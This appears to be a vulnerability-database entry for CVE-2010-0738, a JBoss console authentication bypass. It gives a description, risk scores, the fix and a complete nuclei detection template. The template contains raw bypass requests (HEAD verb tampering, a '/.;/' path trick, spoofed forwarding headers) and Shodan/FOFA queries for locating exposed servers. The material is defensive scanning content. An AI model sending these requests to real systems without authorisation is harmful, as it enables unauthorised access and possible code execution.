JBoss JMX/Web Console - Authentication Bypass via HTTP Verb Tampering

Exploited in the wild. Listed by CISA on 2022-05-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

73.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

JBoss EAP 4.2 (before 4.2.0.CP09) and 4.3 (before 4.3.0.CP08) only enforce authentication for GET/POST on the JMX and Web consoles because the web.xml security-constraint enumerates only those verbs in <http-method>. Non-standard verbs such as HEAD skip the constraint, granting unauthenticated access to MBean operations (which can lead to remote code execution).

Impact

Attackers can send requests to the JMX-Console GET handler using other HTTP methods, potentially leading to unauthorized access or control.

Fix

Update to version 4.2.0.CP09 or later for 4.2, and 4.3.0.CP08 or later for 4.3, or apply security patches provided by Red Hat.

How to confirm it

Send: HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo ; GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo
Positive when: status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)
Send: GET /jmx-console/.;/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo ; GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo
Positive when: status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403) && contains(body_1, 'jboss.system:type=ServerInfo')
Send: HEAD /web-console/ServerInfo.jsp ; GET /web-console/ServerInfo.jsp
Positive when: status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)

Run it with nuclei: nuclei -id CVE-2010-0738 -u <target>

The full check

id: CVE-2010-0738

info:
  name: JBoss JMX/Web Console - Authentication Bypass via HTTP Verb Tampering
  author: Securin
  severity: critical
  description: |
    JBoss EAP 4.2 (before 4.2.0.CP09) and 4.3 (before 4.3.0.CP08) only enforce authentication for GET/POST on the JMX and Web consoles because the web.xml security-constraint enumerates only those verbs in <http-method>. Non-standard verbs such as HEAD skip the constraint, granting unauthenticated access to MBean operations (which can lead to remote code execution).
  impact: |
    Attackers can send requests to the JMX-Console GET handler using other HTTP methods, potentially leading to unauthorized access or control.
  remediation: |
    Update to version 4.2.0.CP09 or later for 4.2, and 4.3.0.CP08 or later for 4.3, or apply security patches provided by Red Hat.
  reference:
    - https://access.redhat.com/solutions/30744
    - https://github.com/joaomatosf/jexboss
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0738
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2010-0738
    epss-score: 0.73815
    epss-percentile: 0.9948
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 6
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - http.html:"/jmx-console/"
      - http.title:"jboss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
    fofa-query: 'title="JBoss" && body="/jmx-console/"'
  tags: cve,cve2010,jboss,auth-bypass,verb-tampering,jmx,kev,vkev

http:
  - raw:
      - |
        HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: jmx-console-verb-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)"

    extractors:
      - type: dsl
        dsl:
          - "'jmx-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)"

  - raw:
      - |
        GET /jmx-console/.;/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: jmx-console-path-normalization-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403) && contains(body_1, 'jboss.system:type=ServerInfo')"

    extractors:
      - type: dsl
        dsl:
          - "'jmx-console /.;/ bypass: normalized=' + to_string(status_code_1) + ' baseline=' + to_string(status_code_2)"

  - raw:
      - |
        HEAD /web-console/ServerInfo.jsp HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /web-console/ServerInfo.jsp HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: web-console-verb-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)"

    extractors:
      - type: dsl
        dsl:
          - "'web-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)"

References

Use this check only on systems you are authorised to test. Where the data comes from